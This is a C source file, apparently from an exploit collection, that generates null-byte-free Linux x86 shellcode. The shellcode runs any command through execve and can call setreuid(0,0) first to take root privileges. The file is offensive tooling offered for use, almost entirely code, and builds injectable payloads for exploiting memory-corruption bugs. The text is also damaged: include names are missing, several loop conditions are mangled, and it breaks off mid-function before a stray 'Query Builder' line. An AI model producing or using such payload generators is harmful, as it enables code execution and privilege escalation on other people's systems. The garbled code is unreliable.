=================================================== linux/x86 execve shellcode generator null byte free =================================================== /* *\ [] [] [] Shellcode Generator null byte free. [] [] [] [] Author: certaindeath [] [] [] [] This program generates a shellcode which uses the stack to store the command (and its arguments). [] [] Afterwords it executes the command with the system call "execve". [] [] [] [] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end. [] [] [] \* */ #include #include #include #include #include #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command void print_c(__u8*,int); void push_shc(__u8*, char*, int*); int main(int argc, char *argv[]){ char cmd[255], *a; FILE *c; int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2; __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0}; if(argc<2){ printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n" "| Shellcode Generator |\n" "| by certaindeath |\n" "| |\n" "| Usage: ./generator |\n" " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); _exit(1); } a=(char *)malloc((9+strlen(argv[1]))*sizeof(char)); //find the command path a[0]=0; strcat(a, "whereis "); strcat(a, argv[1]); c=popen(a, "r"); while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c))); while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c))); cmd[--k]=0; if(k==0){ printf("No executables found for the command \"%s\".\n", argv[1]); _exit(1); } if(strlen(cmd)>254){ printf("The lenght of the command path can't be over 254 bye.\n"); _exit(1); } for(i=2;i254){ printf("The lenght of each command argument can't be over 254 byte.\n"); _exit(1); } //work out the final shellcode lenght b=(k%2); b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2); totl+=(6+5*((k-(k%4))/4)+4*b1+7*b); for(i=2; i2) push_shc(shc, argv[argc-1], &shp); else push_shc(shc, cmd, &shp); memset(shc+(shp++), 0x89, 1); memset(shc+(shp++), 0xe6, 1); if(argc>2){ for(i=argc-2;i>1;i--) push_shc(shc, argv[i], &shp); push_shc(shc, cmd, &shp); } memset(shc+(shp++), 0x50, 1); memset(shc+(shp++), 0x56, 1); if(argc>2){ for(i=argc-2;i>1;i--){ memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(argv[i])+1, 1); memset(shc+(shp++), 0x56, 1); } memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(cmd)+1, 1); memset(shc+(shp++), 0x56, 1); } memcpy(shc+shp, end, 16); print_c(shc,totl); return 0; } void print_c(__u8 *s,int l){ int k; for(k=0;k

Query Builder